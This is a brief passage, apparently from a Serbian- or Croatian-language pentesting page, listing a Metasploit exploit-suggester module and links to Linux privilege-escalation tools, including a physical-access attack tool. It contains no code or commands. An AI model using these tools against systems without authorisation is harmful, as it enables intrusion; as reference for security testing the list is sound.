Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (fizički pristup): https://github.com/GDSSecurity/EvilAbigail
Kompilacija više skripti: https://github.com/1N3/PrivEsc

Reference